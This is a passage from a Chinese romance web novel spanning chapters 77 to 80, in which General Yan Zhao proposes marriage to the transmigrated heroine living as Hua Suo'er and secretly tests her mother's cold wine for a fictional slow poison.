杨溪被朱小婉半搀半扶着,不好再挣,只得无奈地笑了笑,便随着朱小婉朝门口走去。 朱小婉提高音量,朝楼上喊了一句:“我送送杨公子,一会儿就回。” 楼上传来苗悦含糊的应声。 门开了又关,脚步声远去。 店里只剩下燕钊一人,他有些醉意,头靠在墙上,轻合起眼。 苗悦在房里等了一会儿,估摸着朱小婉走远了,她攥上一小块碎银,抓了一把铜钱,穿着中衣,披着头发,溜下楼来。 木屐踩在楼梯上,发出哒哒声。 燕钊听到动静,本想起身离开,一睁眼瞥见那姑娘穿着中衣披头散发跑了过去,动作便顿住了。 看来她以为店里没人了。自己此刻若突然出现,双方难免尴尬。 他索性没动,重新闭上眼睛,做出醉后沉睡的样子。 若这姑娘没发现,等下她上楼了,自己再走便是。若她发现了,也只当是醉客未醒,省去彼此解释的麻烦。 苗悦径直走到柜台后,拉开抽屉,将手里那些钱放了进去。 她每天都会这样偷偷补点营收,让账面上的数字好看些,这样朱小婉花钱也会手松点。 苗悦对朱小婉又佩服又无奈。这世上居然还有送不出去的钱。 放好钱,她看到柜台上摊开的账本,发现今天的流水还没记全。 好事做到底,她将钱点了一遍,然后提起笔,将数目填进空缺。 今日的帐比前几天都好看些。 苗悦高兴,嘴角弯了起来,心情一松快,一段轻快熟悉的小调便溜出了唇边。 “我又迎着,梦里那阵晚风……很久没数过,故乡的星星……” 她许久没有这样哼过歌了。 做燕承嗣时,药瘾和无法更改的结局,像石头压在心上,让她喘不过气,没有好心情。 做昭宁公主时,身体是最大的拖累,病痛缠身,又如何能愉快得起来。 那两个人身份贵重,却各有各的不自由不痛快。 反而花锁儿,身体康健,日子简单,除了愁嫁,再没什么真正烦心的事。 苗悦哼着歌,合上账本,目光在堂中巡视,看看还有什么没收尾的活。 歌声飘来时,燕钊仿佛做梦一样。 简单的调子,带着稚气的歌词……有多少年了,快十年了吧。 临峣城刺史府,小湖边,石红玉唱过同样的小调。 燕钊缓缓睁开眼,视线转动,看向那个毫无察觉独自快乐的身影。 他猜得不错,她确实不会主动来找自己。 她从头到尾,都没说过会回来找他。 谁说她是骗子。 如今这不就是……说到做到了。 第77章 苗悦环顾一圈, 果然被她发现没干完的活。 屏风后的小圆桌还没收拾。 她溜溜达达地走过去,半路还顺手把一条长凳倒扣在桌子上。 等走到圆桌边,她很自然地伸手去端最上面的一个空碟, 身体随之转入了屏风后……一下子僵住。 桌子那边,还坐着一个人。 他就坐在那里, 一动不动, 目光平静地看着她。那目光太静了, 像深不见底的寒潭, 看不出丝毫情绪。 苗悦脑子嗡地一声, 出现片刻空白。 她下意识转身, 本能地想跑, 也不知道自己在躲什么,拔腿就往楼上冲。 燕钊气得咬牙,霍然起身, 左脚在旁边桌沿一蹬, 整个人借力跃起, 动作快得带倒了身边的屏风。 木架砸在地上,发出巨响。 苗悦吓得倒吸凉气, 跑得更快了。 燕钊没绕路,右手在楼梯扶手上一撑, 直接越过好几级台阶,瞬间到了苗悦身后。 苗悦惊呼一声,不管不顾地冲进自己房间,反手就要关门。 一只手掌抵在了门板上。那力道极大,门板纹丝不动,反倒震得苗悦向后踉跄退去。 她退得太急,眼看后腰要磕在桌角。 燕钊跨进房内, 手疾眼快,一把抓住她胳膊,将人扶稳。 他的目光紧紧锁在她脸上:“为什么不来找我?” 苗悦心头狂跳:“我我我我不认识你。” 燕钊根本不听她说什么,径直问:“这次打算什么时候离开?” 苗悦急得跳脚:“你松手,你先松开……” 这时,她瞥见燕钊身后,出现一个人影。 那人将木棒高高举起,朝着燕钊的后脑砸了下来。 苗悦大惊,来不及阻止。 燕钊听到脑后风声,抬臂格挡,手腕翻转抓住木棒,顺势一拧一夺。 来人被带得一个趔趄,痛呼一声,险些摔倒,手里的木棒也易了主。 苗悦急忙抓住燕钊手臂:“燕钊,住手,那是我娘。” 燕钊总算肯听话了,依言松开了手。 来人正是朱小婉。 她将杨溪送到家,返回时,刚走到楼下就听到屏风砸地的声音,以为女儿遭了歹人,抄起棍子就冲了上来。 …… 半柱香后,苗悦穿戴整齐,梳好头发。三人围坐在方桌边。 朱小婉坐在正中,苗悦和燕钊分坐左右。 朱小婉板着脸,目光在两人身上来回扫了几遍:“说吧,你们两个,怎么回事?” 苗悦抢道:“什么事都没有……根本不认识……” 燕钊看向她,多少带着不满。 朱小婉冷哼:“我是死了男人,不是没了脑子。不认识,你说停他就停了?不认识,你天天魂不守舍的,扒在门口等着看他骑马过去。” 燕钊嘴角弯了一下,但很快又抿直了。 苗悦脸上一热:“娘!” 朱小婉转向燕钊, 语气更硬了些:“燕将军,您是一城之主,夜半三更,硬闯一个未嫁女子的闺房,是不是该给个说法?” 苗悦忙解释:“都是误会,不怪燕将军。是我以为楼下没人,穿着中衣就下来了,没想到……” 她噼里啪啦地解释,企图将事情含混过去,只要朱小婉不计较,她又可以装成没事人的样子。 燕钊看着她,忽然决定,这一次不再由她来主导了。 “不是误会。”燕钊开口,打断苗悦的话。 他看向朱小婉:“今日之事,确实是我唐突冒犯,夫人如何责罚都是应该的。只是希望夫人给我一个机会,让我来负责。” 苗悦一怔,疑惑地偏头。 朱小婉挑眉:“怎么负责?说来听听。” 燕钊道:“若夫人不嫌弃,我明日就派人上门提亲。” 苗悦傻眼了,愣在那里说不出话来。 朱小婉冷笑:“整个衡州城谁不知道你对昭宁公主情根深种,为了她把整个祝家都灭了,夏祈节也停了。这会子你说要负责?我告诉你,我朱小婉的闺女,绝不做妾,也不当侧室,只做正妻。” 燕钊道:“就是正妻。” 朱小婉眯起眼,迟疑着说:“我家也不接受平妻的。” 燕钊道:“没有平妻。我燕钊只会有一个妻子。” 朱小婉眼珠转了转,又道:“生下长子前,也不可纳妾。” 苗悦拉着朱小婉衣袖抗议:“娘,你不是要答应吧。” 朱小婉拍开她的手:“大人说话,小孩少插嘴。” 苗悦:…… 燕钊笑道:“得妻一人足矣,无需纳妾。” 朱小婉终于发现,燕钊好像是认真的。 她看看自己这傻乎乎的闺女,也不知道燕钊看上她哪点了。 但是……这样似乎更好…… 她清清嗓子:“燕将军,若你当真有诚意,就请让媒人正正经经地上门来谈吧。” 燕钊道:“燕某的诚意,夫人明日便知。只是有一事,想亲自与夫人说定。” 朱小婉问:“什么事?” 燕钊道:“婚期可否尽快?” 朱小婉问:“要多快?” 燕钊看向苗悦,试探着说:“三个月。” 朱小婉犹豫着:“其实……” 苗悦果断拒绝:“不行。” 燕钊抿唇:“四个月。” 苗悦还是摇头:“不行……不是这么回事……” 朱小婉却道:“我看行,四个月嘛,还不满二十,听着……” 燕钊依旧看着苗悦,继续加码:“五个月。” 朱小婉一愣。 自己已经答应四个月了呀,燕钊在干嘛。 苗悦有点恼。 今天这事怕是糊弄不过去了,朱小婉明显对婚事动了心。 家里养着个大龄姑娘,背后不知被人嚼了多少舌根,如今有个相貌堂堂的城主将军上门求娶,还是正妻之位,脑子但凡清醒点,谁会往外推。 可苗悦心里却憋着一股气,堵得慌。 燕钊这是干什么? 难道她换一个身体,他就娶一个? 苗悦剜了他一眼。 算了。 随他去吧。 反正用不了五个月,她就要回现实了。 “五个月就五个月。”她气鼓鼓地说。 燕钊扯了一下嘴角,低低重复:“五个月。” 朱小婉觉得哪里怪怪的,眼神在他们二人身上来回打转。 “你们一个两个的,这就把事情定了?问过我这个当娘的没有?”她抱起双臂,“燕将军,您管着大军,说一不二惯了。可婚姻不是军令,成了亲就是一辈子的事。” 她想了想,说:“这样吧,婚期先这么定着。但这期间,还请将军常来坐坐,让我们也多了解了解您。若是到日子,一切都妥帖,锁儿自己也愿意,那这门亲事,我绝无二话。若是中间有什么岔子,咱们也好说好散,不伤情面。” 燕钊道:“夫人所言在理。钊既诚心求娶,自当让夫人看清我的为人。只是,好说好散之语,还请夫人休要再提。我既已开口,便无反悔之理。” “既然将军这么说,”朱小婉语气缓和,脸上有了点笑模样,“那就这么定了吧。夜深了,将军该回了。” 燕钊也不多留,利落起身,对朱小婉颔首:“夫人早些安歇。”目光转向苗悦,“你也早点休息。” 他转身便走。苗悦追了出去,在马下拦住他。 “你站住。”她气道,“你明知我不是花锁儿,干嘛这样。那我下次变成男人,你是不是也要娶回家。” 燕钊垂首看她,唇边含笑:“娶就娶呗。我不这样说,怎么能试出你多久会离开。” 苗悦一怔。 燕钊在她头顶摸了摸:“早点休息吧。” 苗悦看着他骑马离开,气得跺脚。 这个燕钊,居然敢对她耍心眼了! 朱小婉把她拉回店里。 “你一姑娘家,矜持点吧。” 苗悦皱眉思索:“这事不对,燕钊怎么会平白出现在咱们店里。” 朱小婉道:“他跟杨公子是好兄弟,我开店两年,他才来这一次,我觉得这才不对。” 苗悦站定:“娘,你说的那个杨公子,是杨溪?” 朱小婉道:“是啊。怎么?” 苗悦追问:“你当初是怎么租到这房子的?” 朱小婉道:“还能怎么租,我当时手里就那么点钱,花市那边的铺子租不起。这条街当时空得很,没几家开门的。头几个月杨公子都没收我房租,这便宜,当然要占。” 苗悦又问:“那这条街那么多空铺子,怎么偏偏就租到杨溪的店了?” 朱小婉看着她:“这一条街的铺子都是他的。” 苗悦又问:“那你是什么时候知道,杨溪与燕钊的关系。” 朱小婉顿了顿,叉腰道:“你哪那么多废话,他俩关系,衡州城谁不知道。赶紧睡觉去,都什么时辰了。” 苗悦心一沉。 记忆世界不会让她穿成一个与燕钊毫无关联的普通人。 只是这个关联,花锁儿不知道,朱小婉似乎也不知道。 明知有问题,却不知问题在哪,这让苗悦心中不安。 燕钊回到府里时,夜色已深。他径直去了杜言的院子,敲响了房门。 杜言刚睡下,头发散乱,脸上带着困倦。 他闻到淡淡的酒气,定了定神,才道:“将军,您这是……” “明天帮我去提个亲。”燕钊道。 杜言愣了,下意识反问:“啊,这……哪家的姑娘?” “南门二巷的花家酒馆,老板娘朱小婉的独女,花锁儿。” 杜言皱眉:“这么突然……” 燕钊道:“她回来了。” 杜言立刻清醒了:“花锁儿?” 燕钊点头:“你去查一下这对母女的来历。我对她们毫无印象。按道理,她不该是一个与我无关的陌生人。可她们又租了杨溪的房子。我不信天底下有这么巧的事。” 杜言沉吟,道:“可是将军,你现在娶了花锁儿,等真相出来,难道休妻再娶?” 燕钊看了他一眼:“这个婚结不成,不到五个月,她就会离开。” 而她附身的人,最后都会死去。 杜言皱眉,思索道:“若我没记错,南门二巷是这两年才热闹起来的。那对母女若是那时才来的衡州,要查清根底,恐怕得去她们原籍。” 燕钊道:“那也要查,这次,我一定要把真相揪出来。” 第78章 次日天光大亮, 朱小婉到门口拆门板。 她穿的还是平日干活时的粗布衣裳,心里虽记着燕钊的话,却总觉着不真实, 男人酒后胡言乱语,不能太往心里去, 今日还是照常开门做生意。 虽这么想着, 手上拆着门板, 眼睛却忍不住往街口那边瞧了好几次。 刚拆下第二扇门板, 就听到几匹马的声音由远及近。 朱小婉停下动作, 抬眼望去, 只见一队三人已到了近前。 杜言今日穿的很正式, 身后跟着两名捧着红绸礼盒的亲随。 杜言下马,上前一步:“ 朱夫人,叨扰了。在下姓杜, 单名一个言字, 现于将军府中参赞事务。今日特奉将军之命, 前来与夫人详议聘礼婚仪等一应事宜。” 朱小婉回过神,忙把手里的门板靠墙放好, 手在衣服上擦了擦,道:“快请进, 快请进。” 说话声传到了二楼。 苗悦听见动静,撩开门缝看了一眼,见杜言竟真的来提亲了,心里一慌,赶紧缩回头,手忙脚乱地开始穿衣服梳头。 朱小婉将人让进店里,请杜言落座, 目光扫过那扎眼的红绸礼盒。 杜言道:“将军特意嘱咐,一切依礼数来,也请夫人不必过于拘谨,有何要求,但说无妨。” 朱小婉定了定神,问:“杜先生,燕将军当真要娶我家锁儿为正妻?不是妾,也不是侧室?” 杜言神色郑重,颔首道:“夫人放心。将军亲口所言,绝无虚言。聘书在此,请夫人过目。” 他自袖中取出一卷红底洒金的文书,双手奉上。 朱小婉接过来展开,只见上面字迹端方有力,落款处盖着燕钊的私印。 “聘为正妻”、“永结秦晋”几个字煞是夺目。 她将聘书轻轻放在桌上,心里悬的石头,落下了一半,另一半却坠得更深更沉。 杜言示意亲随将礼盒放在桌上,揭开红绸。 一盒中是码放整齐的雪花银锭,另一盒里则是两卷用金线捆扎盖着朱红印泥的文书。 “因昨日议定仓促,将军唯恐拖延怠慢,故命在下今晨先行送来聘书与纳采之礼,以示郑重与诚意。余下聘礼,将军已命人筹备,依城中最高规格,数目品类均已详列于单后,三日后便可分批送来。” 朱小婉并无太多惊喜,甚至没有去看礼单,只淡淡开口:“将军厚爱了。只是我家底浅薄,小门小户,实在给不出像样的嫁妆,怕是配不上这份重礼。” 杜言笑容未变:“夫人将女儿教养得知书达理温婉持重,便是天底下最好的嫁妆了。聘礼丰厚,原也是将军对这门亲事的看重,对夫人多年辛劳的敬意。夫人不必为此挂怀,更不必推辞。” 朱小婉垂下眼,缓缓道:“既然如此,只要将军待我家锁儿是真心实意的,我便没什么可求的了。” 杜言神色一整:“请夫人放心,将军为人,重诺守信。既以正妻之礼相聘,必以真心相待,绝不相负。” 朱小婉笑了下,神情放松,将礼盒盖好,便算收下了。 杜言道:“婚期定在五个月后,时间稍紧,但一应筹备,将军府会全力操办,夫人只需告知需要宴请哪些亲朋,其余琐事,自有府中管事料理。” 事情谈得异常顺利。所有的条件,杜言都是满口应承,毫无为难之处。 又略坐了片刻,商定了几桩细务,杜言便起身告辞。 朱小婉将他送到门口,看着他上马离开,才转身回到店里。 今日这门肯定不用开了。 她走回桌边,重新坐下,拿起那份烫金的礼单,展开细看。 目光扫过那些令人咋舌的条目数目,她的唇角弯起一个极淡的弧度。 苗悦穿好了衣裳,头发挽了个髻,跑下楼来。 朱小婉抬起头,将礼单放在桌上,看向女儿,似笑非笑地开口:“我要是个外人,你跟我说你和燕将军以前不认识,我是一万个不信的。但我是你娘,你要说你们以前认识,我也是一万个不信的。” 苗悦挤出笑,打了个哈哈,伸手去摸那盒银锭:“你就说,你高不高兴吧,这么多银子。” 朱小婉沉默片刻,嘴角那丝若有若无的弧度加深了些,轻轻吐出一句:“高兴。” 苗悦半开玩笑地说:“娘,以后你跟杨公子接触的机会,更多了。” 朱小婉斜睨她一眼,没好气道:“你嫁给了燕将军,我再去找他的兄弟,那像什么样子。” 她将礼单慢慢卷起:“再说了,燕将军这么看重你……我就没必要去找杨公子了。” 自这日起,花家酒馆虽然每日仍会卸下门板,但生意显然是顾不上了。 朱小婉的心思全扑在了女儿的婚事上,一丝不苟地张罗着。 她请了城里最好的裁缝上门,给苗悦量体裁衣,做四季的新嫁衣裳。又带着苗悦去银楼,挑选首饰头面。 老客们来了几回,见老板娘母女总不见人影,稍一打听,便得了信儿。一时间,道喜恭贺之声不绝,纷纷追问是哪家的郎君如此好运。 朱小婉只抿着嘴笑,却始终不松口:“到时候你们就知道了,定了日子一定来喝杯喜酒。” 老邻居们见她这般藏着掖着,只当是女儿家害羞,或是男方身份特别不便宣扬,也都善意地笑笑揭过。 燕钊通常在天擦黑时过来,不惊动旁人,也不带亲随。 他不空手来,有时是几样精巧的点心,有时是几匹时兴的料子。 来了,便留下来用晚饭。 如今大堂没了客人,只摆了一张方桌,三副碗筷,几样家常小菜。 朱小婉起初还有些拘谨,后来见燕钊确实没什么架子,也放开了些,会絮叨些街坊趣事,或是说两句菜价又涨了之类的话。 燕钊提出婚后请朱小婉一同搬到将军府中居住。一来,不放心朱小婉独自操持酒馆,二来锁儿身边也能有亲妈照顾。 朱小婉眼圈泛红,叹道:“我可真是得了闺女的好……” 这天晚上,燕钊与杨溪一同来了。 朱小婉添了副碗筷,去后厨准备。 燕钊替杨溪挪好凳子,又将他面前的碗筷调整到更顺手的位置。 杨溪虽看不见,却仿佛能感知到他的动作,微微颔首以示谢意。 燕钊玩笑似的说:“说起来,我还要多谢你。若不是那天你带我来这喝酒,我也遇不到锁儿,不知道要天涯海角地寻到几时去。” 苗悦瞪了他一眼。 燕钊笑意更深。 杨溪温言:“这便是缘分到了。是你的,总归会在该出现的地方等着你。” 朱小婉端着两壶酒过来。 她将一壶温过的酒放到杨溪面前:“杨公子,这是温好的酒,暖胃。” 接着,她将另一个瓷壶放在燕钊手边。 “燕将军喜欢喝冷酒,我想起厨房藏着坛冰泉酿,冷着喝才够味。”她笑着说,“燕将军或许会喜欢。” 苗悦好奇,伸手想去拿:“我尝尝……” 朱小婉也没拦她,只提醒道:“女孩儿家不要喝冷酒,伤身子。” 苗悦抿了一口,冰得咋舌,辣的呛人。 “好难喝。”她咳咳地。 朱小婉给她顺了顺背,笑道:“你就老老实实喝点果酒吧。” 燕钊接口:“夫人说得对。” 他为自己斟了一杯冰泉酿,浅啜一口,冰凉的液体滑入喉中,带着松针般的清爽回甘。 “冷冽清透,确实是我喜欢的味道,夫人有心了。” 朱小婉笑了笑,转身又回了后厨。 杨溪朝着燕钊举杯,道:“瞧瞧,这身份一变,果然就是不一样了。连酒,都是给你专门备下的。”他顿了顿,“能见你如今这般,有人惦着冷暖喜好,我真替你高兴。” 燕钊闻言,抬眼看向杨溪,举起手中酒杯,与杨溪虚虚一碰。 他没说话,但眉眼间那长久以来的沉郁孤寂,在满室温暖的烟火气和好友笑容映照下,淡去了不少。 饭后,苗悦 和燕钊一同送杨溪回去。 夜色已深,街巷安静,只闻得三人的脚步声和杨溪盲杖点地的轻响。 杨溪走在前头,忽然笑了一声,头也不回地道:“你们两个,哪里是真心送我,怕是想寻个由头出来走走吧。” 苗悦脸一热,燕钊接过话头,声音难得松弛:“送你回去是正事。至于旁的,你不多想,便没有。” 杨溪摇摇头:“是是是,是我多想了。” 不多时,到了杨溪住的小院。早有小厮候在那里。 杨溪没有立刻进去,而是从袖中取出一卷用红绳系着的纸笺。 他将纸笺递给苗悦:“我比燕钊略长数月,做兄长的,早该有所表示,拖到现在,实在是不知道送什么好。一点薄礼,弟妹万勿推辞。” 苗悦有些疑惑,接过纸笺,借着门口灯笼的光,展开一看,竟是一张房契。 杨溪将花家酒馆所在的铺面,连同其后小院,全部送给了花锁儿。 “这太贵重了,我不能收。”苗悦吃了一惊,连忙要将房契递回去。 杨溪将手背到身后,笑道:“自打你出现,燕钊身上那股子压人的阴郁气,散了不少。我心里替他高兴,就当是我对你的感谢。将来他若敢对你摆脸子,或是你哪天看他烦了,想继续当个酒馆老板娘,也能有个地方。” 一番话坦荡又直接,这个清瘦的青年,有一种安定人心的力量。 燕钊揽上杨溪的肩,拍了两下,对苗悦笑道:“你收下吧,他可不差这一间铺子。” 杨溪朝两人颔首,小厮迎上来扶着他,进了院子。 夜风微凉,苗悦和燕钊沿着来时的路,慢慢往回走。 苗悦握着房契,低低叹了一句:“……好可惜啊。” 燕钊以为她在惋惜杨溪的眼睛,声音也有些微沉郁:“年纪轻轻就看不见了,确实可惜。不过,好在命保住了。人活着,比什么都强。” 他转过头,看向苗悦,眼中充满温柔:“谢谢你当初救下他,没有任他自生自灭。” 苗悦心头一紧,抬眸望向他。 燕钊的视线却已移开:“我身上戾气重,有些事做得太绝,回头看,连自己都心惊。杨溪比我心善,也比我通透。许多时候,都是他在旁边点醒我,默默替我周全。”他顿了一下,“这些年若是没有他在身边,我真不知道……” 苗悦的脚步停了下来。 她现在无比庆幸,燕钊醒来后,只会觉得是做了一场漫长而温暖的梦。 杨溪,这个在现实里早已凋零的名字,会永远活在温暖的梦境中,安然平和。 她希望燕钊忘得越彻底越好,这些沉重的、甜美的过往,有她一个人记得就足够了。 燕钊察觉她停下,也驻足,转过身来,有些疑惑地看着她。 苗悦上前几步,伸出手臂,环住了他的腰,将脸贴在他胸前。 燕钊回抱住她。 苗悦的声音闷闷的,从他胸口传来。 “人的一生是一条很长的路,会遇到很多人,有人能陪你走一段,有人只是擦肩而过。缘聚,缘散,都是寻常。” 她稍稍退开一点,仰起脸看他。 “可是燕钊,你要记住,无论你遇到谁,经历什么,得到什么,失去什么……到最后,真正能让你幸福平静的,只有你自己。” 她的指尖,轻戳他心口。 “永远不要失去让自己幸福的能力。” 第79章 燕钊坐在书案后出神。 案头摊开的文书许久未翻动一页, 脑子里反复转着,昨晚苗悦说的那些话。 那些话听起来像是宽慰,可字里行间明明透着离别。 她在用一种交代后事的口吻, 让他无论以后遇到什么,都要有让自己幸福的能力。 仿佛笃定她不会一直在他身边, 随时准备抽身离去。 燕钊深深地感到无力。 这两年, 巫医找了三四个, 但都没能解决他的问题。 他要如何在不伤害她的情况下, 查出真相呢。 杜言敲门进来。 燕钊合上文书, 示意他坐。 杜言坐到书案对面。 “将军吩咐的事, 查出来了。”杜言语气严肃, “朱小婉来衡州城确实另有目的。” 七年前,朱小婉的夫君外出行商遭战火波及,从此失了音讯。朱小婉多方寻找无果, 时间久了, 便按着习俗, 为他操办了葬礼,立了衣冠冢。 此后, 朱小婉守着微薄产业,悉心照顾唯一的女儿, 日子虽不算大富大贵,倒也安稳。 大约在夫君失踪四年后,一封信从衡州城寄出,辗转送到了朱小婉手中。拆开一看,竟是那亡故多年的夫君亲笔所写。 原来,她夫君当年重伤未死,被途经的祝家商队所救。伤好后, 他无处可去,又感激祝家恩情,便留了下来,凭着些经商时练出的本事,做到了管事的位置。 他让朱小婉耐心等待,说自己在祝家做得不错,站稳了脚跟,一定想办法,将她们母女接过来团聚。 朱小婉原已黯淡的生活因这一封信重新亮了起来。 此后一年多,她又陆续收到几封夫君的来信,说的多是些在祝家的情形,又提到衡州城易主,让她们安心,团聚的日子不远了。 然而,那之后不久,便发生了夏祈节一事。曾经煊赫无比的祝家,满门倾覆,在祝家做事的人,也大多受了牵连。 朱小婉等来的,是祝家覆灭,衡州城血流成河的消息。 她再未收到夫君的信。 朱小婉变卖了所有家当,带着女儿,一路辗转,最终来到衡州城,多方打探后,租下了南门二巷杨溪名下的一处铺面。 花家酒馆,就这么开了张。 杜言将查到的情况禀报完毕,书房内陷入了短暂的沉寂。 杜言缓缓开口:“一个女子带着女儿,千里迢迢,变卖所有家当来到衡州城,对外绝口不提夫君之事,只以寡妇自称。偏偏那么巧地租下了杨溪名下的铺子。若说她只是为了开这么一间小酒馆谋生,实在说不过去。” 燕钊的声音平淡无波:“她想替她夫君报仇。” 这样的事,这几年,燕钊见过太多。 衡州城破时负隅顽抗的守军,誓与主家共存亡的门客,还有那些被卷入其中来不及逃,或是不愿逃的人,死得够多了。 可活下来的,总有几个不甘心的。 明的,暗的,下毒,行刺,诅咒……什么样的手段燕钊都见过,他早习惯了。 荣耀的背后必然伴随着危险,这是身处高位者难以摆脱的共同命运。 杜言道:“她肯定提前查过,知道杨溪与你关系亲近。于是租下他的铺子,想借这层关系,寻机接近你。你最近常去那边,可有什么不妥之处?” 燕钊想了想,除了那刻意准备的冷酒外,倒也没什么特别的地方。 他说:“我们先不要随意揣测,待有了证据再说。” 杜言道:“那这婚事……” “如常进行。” …… 过了两日,天色将晚时,燕钊如平时一样踏入花家酒馆。 他神情举止与往日并无二致,同朱小婉寒暄,与苗悦说笑,在那方桌前安然落座。 那壶冷冽的冰泉酿也准时出现在他手边。 苗悦摆好碗筷,眼睛瞄见那酒壶,伸手去拿。 燕钊抬手挡住了:“酒冷伤身,你别碰。” 苗悦绕过他,拿起酒壶:“我给你倒酒都不行啦。” 她提起那壶酒,微微倾身,向燕钊面前的杯中斟去。 木制屏风,将光线切割成一道道明暗相间的栅栏,投在桌面上,恰好有几道光束,从她鬓边滑过,点亮她耳朵上的坠子。 燕钊被这跳跃的亮光吸引了视线。 小小的银托上嵌着淡粉的珠子,雕成海棠花的模样,垂坠下来,随着她的动作轻晃。 苗悦见他注意到了,晃了晃脑袋,眼睛弯了弯。 “好看吗?”不等他开口,她抬手摸向耳垂,“今天去银楼打金饰,一眼就相中这个。像不像之前在西市见过的那个……叫什么来着……海棠迎春。我觉得这个更好看。” 她笑得毫无城府,鲜活的颜色在她耳畔跳跃。 燕钊忽然问:“你年纪不大吧?” 苗悦正得意,闻言“嗯”了一声,随即反应过来他问的不是花锁儿的年纪。 她眼珠转了转,故意拖长了调子:“咱俩差着好几百年呢。” 燕钊挑眉:“哦,你是老祖宗?” 苗 悦绷不住,嘿嘿笑了起来:“不,你才是老祖宗。” 燕钊道:“那你能不能告诉老祖宗,你叫什么名字?” 苗悦迟疑了一下,又笑起来:“等大婚那天,我就告诉你。” 燕钊敛了笑。 这就是不愿意说了。 她或许从未想过与他长相厮守,因此才能毫无挂碍地享受当下。 可若他也被这虚幻的快乐所惑,任自己沉溺进去,不去思考未来,那么,等分离真正来临,等她彻底消失,再也觅不到踪影时,他又该如何自处? 他将手足无措,毫无办法。 他举起酒杯。 他外袍的衣袖内侧,提前衬了数层细密吸水的棉布。举杯时,袖口自然垂下,遮挡住酒盏,再借着仰头饮酒的姿势,手腕一斜,杯中的液体便悄无声息地浸入层层棉布之中。 一顿饭下来,棉布已被酒液浸透,沉甸甸地,好在衣袍厚重,外表瞧不出异样。 当晚,回到将军府。 刘太医早已候命。燕钊褪下外袍,将棉衬拆下,挤出其中液体,盛入瓷碗。 刘太医取出银针药粉等物,细细查验。 燕钊负手立于窗前,望着沉沉夜色。 约莫一炷香后,刘太医放下手中器具,转向燕钊,躬身道:“将军,此酒并无异常。” 燕钊霍然转身,紧盯着刘太医:“你说什么?” “回将军,”刘太医拱手,“下官以银针试毒散及数种方法反复验看,此酒清澈,气味纯正,确为上好冷泉所酿,其中并未掺杂他物。” 紧绷的弦,蓦地松开了。 燕钊深深地呼出一口气,眉头舒展,唇角弯起。 “那就好。” 他的开心藏都藏不住。 杜言却道:“下毒一事,讲究时机与耐心。此次验出无毒,自然是好消息。但一次验毒的结果,不足以完全排除嫌疑。” 燕钊眯眼:“你是说……” 杜言道:“朱小婉的行为实在难以用常理判断,不多验几次,不能心安。” 燕钊点点头:“好。” 接下来的日子,燕钊时不时前往花家酒馆,并将那壶专为他准备的冰泉酿如法炮制地带回。 他暗中观察,发现所有菜肴皆是几人同食,唯有这冰泉酿,只放在他一人手边。 约莫是第四次带回的酒液,刘太医验过后,脸色变得凝重。 “将军,这酒掺了东西。”刘太医斟酌着字句,“此物名寒心散,其性极寒,无色无味,融入酒中难以察觉。此毒最阴损之处在于其积聚。初服并无大碍,只会令人略感精神不济,但若连续服用,毒性便会日积月累,侵蚀心脉脏腑,使人由内而外逐渐衰竭。待得积毒日深,便会心悸怔忡,咯血不止,最终心脉枯竭而亡。” 刘太医顿了顿,又道:“后宫之中,曾偶有隐秘使用,以慢损受宠妃嫔之根基,因其见效缓慢隐蔽,症状与积劳成疾气血两亏之症极其相似,若非早有疑心,细究根源,极难诊断。” 杜言问:“此毒可有解?” 刘太医摇头:“此毒无药可解。若中毒日浅,或可凭借虎狼之药,辅以金针度穴,强行拔毒,尚能延缓三五年寿数。但若中毒已深,毒入心脉,即便竭尽全力,也难撑过旬日。此毒无法轻易得到,下毒之人必是早有准备。” 燕钊沉默地听完,请刘太医退下,嘱咐他不可泄露此事。 酒已验明,毒已确凿。 杜言道:“将军准备如何处理?是否要告诉花锁儿?” 燕钊道,“这事她不知情,告诉她,除了让她陷入两难之外,毫无益处。加派人手严密监控朱小婉的一切举动。” 杜言沉思片刻,道:“将军以为,若花锁儿得知其母下毒一事,会作何反应?” 燕钊不假思索道:“自然是阻止她,提醒我,为我担忧。” 杜言轻轻一笑:“看来将军对你二位之间的情谊,确信不疑。” 燕钊眉头微蹙:“先生想说什么?” 杜言道:“杜某忽有一计,可试出她待你,是否真如你所想那般情真意重。” 燕钊神色一凝,正待开口,又听杜言缓缓道:“若运气够好,或许还能引她说出我们要的真相。” 第80章 时光倏忽, 一个多月的光景转眼过去。 离婚期越来越近,将军府的聘礼流水般抬进来,花家酒馆的后院几乎要被那些贴着红绸的箱笼占满了。 量衣、打首饰、学规矩, 桩桩件件都在按部就班地进行,热闹又忙碌。 苗悦越发珍惜这最后的时光。 她比从前更主动地邀燕钊出门, 泛舟游湖, 看新柳拂水, 城墙漫步, 看落日熔金。 燕钊虽忙, 但从不推辞, 总陪着她, 眼角眉梢尽是松弛愉悦。 苗悦贪婪地收集着这些细碎的温情,像在积攒过冬的粮食,等回到冰冷现实后, 用来抵御漫长孤寂。 只是, 燕钊似乎真的累了。 他的脸色一日比一日苍白, 唇色也淡了,不笑的时候, 嘴角抿出浅浅的纹路,带着倦意。 一次下船时, 他脚步几不可察地虚浮了一下,虽然立刻稳住,但苗悦的心还是跟着一揪。 她上前搀扶,担忧道:“你脸色很不好看。” 燕钊道:“许是最近事杂,有些乏了。” 苗悦挽着他胳膊,头靠在肩上:“别管其它的事了,这段时间就好好玩一玩吧。” 燕钊笑道:“那怎么行, 婚期将近,要准备的事很多,还要防备你突然离开。” 苗悦抬起头,望进他眼里,那眸底沉着化不开的倦意。 她心头一紧,想寻些话来宽慰,却发现自己除了欺骗,没法说出任何让他安心的话。 她默默垂下眼帘。 回到酒馆,苗悦在厨房里转来转去,翻出些红枣黄芪,又找出块老姜。 朱小婉见她瞎忙活,皱眉问:“你鼓捣什么呢?” 苗悦道:“燕钊这些天脸色特别差,人也没精神,我想着给他炖点汤补补。” 朱小婉愣了一下,忽然几步走过来,将她手里的姜块拿了过去:“你会做什么呀,净瞎折腾,仔细切了手。放着吧,我给他做。” 苗悦笑着抱了她一下:“娘真好。” 朱小婉打开她:“贫嘴。” 傍晚,燕钊又来了。 他今日穿了身苍青色的常服,颜色本应衬得人精神,可穿在他身上,却更显出几分清减苍白。 他话比平日更少,握着筷子的手指似乎轻轻颤抖。 吃到一半,他忽然侧过脸,掩唇低低咳了几声,肩背随着咳嗽震动。 朱小婉关切地问:“将军可是着了寒气?”她说着,将冰泉酿拿开,“身子不适,可不能再贪凉了。” 燕钊止住咳,声音有些哑:“些许小事,让夫人担心了。” 苗悦急道:“怎么是小事呢,让刘太医瞧过没有?他怎么说?” 朱小婉看了苗悦一眼。 燕钊道:“瞧过了,就是最近累到了,有些亏损,不碍事。” 